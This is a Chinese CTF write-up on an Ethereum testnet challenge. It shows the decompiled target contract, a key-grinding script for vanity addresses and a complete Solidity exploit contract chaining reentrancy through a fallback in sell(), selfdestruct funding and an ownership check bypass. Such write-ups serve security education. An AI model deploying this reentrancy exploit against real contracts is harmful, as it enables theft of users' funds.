以一道CTF题来举例如何研究智能合约安全性

题目描述:0x40a590b70790930ceed4d148bf365eea9e8b35f4@ropsten, event pikapika_SendFlag(string b64email);
我们可以到官网https://ropsten.etherscan.io/输入合约地址查看代码,但是没有看到源码,不知道比赛的时候是否有源码。我们还可以到https://ethervm.io/decompile这个网站进行反编译。我们在官网得到的结果如下图:

image.png
#
#  Panoramix v4 Oct 2019 
#  Decompiled source of ropsten:0x40a590b70790930ceed4d148bF365eeA9e8b35F4
# 
#  Let's make the world open source 
# 

const eth_balance = eth.balance(this.address)

def storage:
  stor0 is addr at storage 0
  stor1 is addr at storage 1
  balanceOf is mapping of uint256 at storage 2
  stor3 is mapping of uint8 at storage 3
  unknown35983396 is mapping of uint256 at storage 4

def unknown35983396(addr _param1): # not payable
  return unknown35983396[_param1]

def status(address _param1): # not payable
  return bool(stor3[_param1])

def balanceOf(address _owner): # not payable
  return balanceOf[_owner]

def unknownb4de8673(addr _param1): # not payable
  return balanceOf[addr(_param1)]

#
#  Regular functions
#

def _fallback() payable: # default function
  revert

def unknown11f776bc(): # not payable
  require caller != tx.origin
  require caller % 4096 == 4095
  if bool(stor3[caller]) == 1:
      stor3[caller] = 0
      stor0 = caller

def buy() payable: 
  require caller != tx.origin
  require caller % 4096 == 4095
  require not unknown35983396[caller]
  require not balanceOf[caller]
  require call.value == 1
  balanceOf[caller] = 100
  unknown35983396[caller] = 1
  return 1

def unknown6bc344bc(array _param1): # not payable
  require caller == stor0
  require unknown35983396[caller] >= 100
  stor0 = stor1
  unknown35983396[caller] = 0
  call 0x4cfbdfe01daef460b925773754821e7461750923 with:
     value eth.balance(this.address) wei
       gas 2300 * is_zero(value) wei
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  log 0x296b9274: Array(len=_param1.length, data=_param1[all])

def change(address _toToken): # not payable
  require ext_code.size(caller)
  call caller.isOwner(address owner) with:
       gas gas_remaining wei
      args _toToken
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >= 32
  if not ext_call.return_data[0]:
      require ext_code.size(caller)
      call caller.isOwner(address owner) with:
           gas gas_remaining wei
          args _toToken
      if not ext_call.success:
          revert with ext_call.return_data[0 len return_data.size]
      require return_data.size >= 32
      stor3[caller] = uint8(bool(ext_call.return_data)

def transfer(address _to, uint256 _value): # not payable
  require _to
  require _value > 0
  require balanceOf[caller] >= _value
  require balanceOf[addr(_to)] + _value > balanceOf[addr(_to)]
  balanceOf[caller] -= _value
  balanceOf[addr(_to)] += _value
  require balanceOf[caller] + balanceOf[addr(_to)] == balanceOf[caller] + balanceOf[addr(_to)]
  return 1

def sell(uint256 _amount): # not payable
  require _amount >= 200
  require unknown35983396[caller] > 0
  require balanceOf[caller] >= _amount
  require eth.balance(this.address) >= _amount
  call caller with:
     value _amount wei
       gas gas_remaining wei
  require this.address
  require _amount > 0
  require balanceOf[caller] >= _amount
  require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)]
  balanceOf[caller] -= _amount
  balanceOf[addr(this.address)] += _amount
  require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)]
  unknown35983396[caller]--
  return 1

我们这里在开一个其它智能合约在官网的例子,可以看到是有源码的。(https://ropsten.etherscan.io/address/0x8e99d0B58E1E87a9065a3e918f4cE4f26Cfb0d42?utm_source=StateOfTheDApps#code

image.png

然后我们分析一下这道题,我们直接看源码(https://www.bugfor.com/zlhw/5364.html):
solidity学习https://solidity-cn.readthedocs.io/zh/develop/
首先我们需要另⼀一个合约作为sender和它交互, 并且sender的地址需要低12位为1. 众所周知合约的地址是由创建者的地址和nonce算出来的(合约地址的计算实际上是rlp编码的[钱包地址, nonce]), 所以先找⼀些可以⽤用的钱包地址:

from ethereum import utils
import os, sys

# generate EOA with appendix fff
def generate_eoa1():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not addr.lower().endswith("fff"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))

    print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


# generate EOA with the ability to deploy contract with appendix fff
def generate_eoa2():
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("fff"):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))


    print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


if __name__  == "__main__":
    if sys.argv[1] == "1":
        generate_eoa1()
    elif sys.argv[1] == "2":
        generate_eoa2()
    else:
        print("Please enter valid argument")

generate_eoa1生成一个满足要求的账户,generate_eoa2生成一个账户,他的第一个部署的合约地址满足要求。

用generate_eoa2部署4个合约然后转账到同一个合约让balance达到400,之后依次直到payforflag,注意目标合约大部分公开函数都不是payable。如果遭遇gas问题可以用BaiGei间接给目标合约转0.2ether以防万一。同时call的时候value和gas不一样,value是转账给的,gas是结算的手续费。如果value参数始终不正常,请用remix右边栏的value来指定并调用代理函数,最后call.value(msg.value)()这样来转发参数。


image.png

对于只知道函数签名的函数调用,用addr(contract_addr).call(bytes4(func_sig)[, parameters])完成调用。

如果一笔交易中部分出错,可以查看目标合约的inernal transaction,看看红叉叉里面是什么原因。([https://blog.fxti.xyz/2020/03/09/GXZY2020-WP/]

image.png

发送flag要求:
要求msg.sender ==owner
要求buyTimes>= 100,其中buytime修改在两个函数 sell和buy中

image.png

要求:
_amount >= 200
buyTimes>0
代币余额 >= _amount
账户eth余额 >= _amount
之后函数会发送空数据调用给调用方进行转账(eth),处理代币的转账,最后修改buyTimes。要修改两次buyTimes,显然需要重复调用 sell(uint256) ,并且第二次调用产生在状态修改前。因此可以在转账eth的时候再次发起一次 sell(uint256) 的调用,这可以通过fallback函数来实现。


image.png

函数调用需满足tx.origin == msg.sender(也就是需要通过其他合约访问)、合约地址结尾msg.sender & 0x0fff == 0x0fff 。因此显然要编写漏洞利用合约,并且需要控制合约地址。由于unknown35983396的要求,buy只可以调用一次,并且一次只能转账1 wei。

由于要调用两次 sell(uint256) ,而且_amount >= 200,因此调用账户至少需要有400单位代币,并且合约账户eth余额 >= 400wei。400单位代币可以通过使用其他账户购买,并调用 transfer(address,uint256) 将代币余额转到最终调用 sell(uint256) 的账户。而账户eth余额,由于合约只有 buy() 一个payable函数,所以如果用 buy() 转账就要调用400次,显然很麻烦。因此可以采用selfdestruct指定参数的方法转出合约的全部余额。


image.png

在change_Owner中对owner可以进行修改,这里要求status==true,其在change中被修改


image.png

通过分析可以看出,主要利用的是重入攻击(Reentrancy Attack)和算数溢出。可以整理出漏洞利用的大致流程:
1.分别生成4个账户
2.分别创建漏洞利用合约,地址要满足条件
3.分别调用 buy() 传送1 wei
4.取其中三个合约,分别调用transfer(address,uint256),将其代币余额转至攻击用的合约
5.新建合约,向传送至少400 wei
6.在新建合约执行 selfdestruct(题目合约)
7.调用 sell(uint256) (fallback函数负责第二次调用)
8.调用 change(address)
9.调用 change_Owner()(claim)
10.调用 payforflag(string) 得到flag
代码

pragma solidity >=0.4.22 <0.7.0;
 
contract Exp {
 
    address private me;
    address private game = 0x40a590b70790930ceed4d148bF365eeA9e8b35F4;
    
    bool private ownerAsk = false;
    bool private recall = false;
    
    constructor() public {
        me = msg.sender;
    }
    
    modifier check() {
        require(msg.sender == me, "Caller is not owner");
        _;
    }
    
    event OwnerCheck(bytes data, address who, address check, bool ret, bool flag);
    
    function isOwner(address check) external view returns (bool) {
        emit OwnerCheck(msg.data, msg.sender, check, check == me, ownerAsk);
        if (check == me) {
            if (!ownerAsk) {
                ownerAsk = true;
                return false;
            }
            return true;
        }
        return false;
    }
 
    function payme() public payable {}
    
    function buy() public check {
        game.call.gas(msg.gas).value(0x01)(bytes4(keccak256("buy()")));
    }
    
    function change() public check {
        game.call.gas(msg.gas)(bytes4(keccak256("change(address)")), me);
    }
    
    function transfer(address addr) public check {
        game.call.gas(msg.gas)(bytes4(keccak256("transfer(address,uint256)")), addr, uint256(100));
    }
    
    function attack() public check {
        game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
    }
    
    event FallbackCalled(bytes data, address who);
    
    function () payable {
        emit FallbackCalled(msg.data, msg.sender);
        
        if (msg.sender == game && !recall) {
            recall = true;
            game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
        }
    }
    
    function claim() public check {
        var sig = 0x11f776bc;
        
        game.call.gas(msg.gas)(bytes4(sig));
    }
    
    function getFlag(string b64email) public check {
        game.call.gas(msg.gas)(abi.encodeWithSignature("payforflag(string)", b64email));
    }
    
    function kill() public check {
        if (me == msg.sender) {
            selfdestruct(me);
        }
    }
    
    function trans() public check {
        if (me == msg.sender) {
            selfdestruct(game);
        }
    }
    
    function reset() public check {
        recall = false;
        ownerAsk = false;
    }
    
    function set(bool a, bool b) public check {
        recall = a;
        ownerAsk = b;
    }
}

参考:https://blog.fxti.xyz/2020/03/09/GXZY2020-WP/

附:

  1. 在线反编译合约网站1:https://contract-library.com/

  2. 在线反编译合约网站2: https://ethervm.io/decompile/

  3. 在线智能合约交互网站:https://www.mycrypto.com/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,033评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,725评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,473评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,846评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,848评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,691评论 1 282
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,053评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,700评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,856评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,676评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,787评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,430评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,034评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,990评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,218评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,174评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,526评论 2 343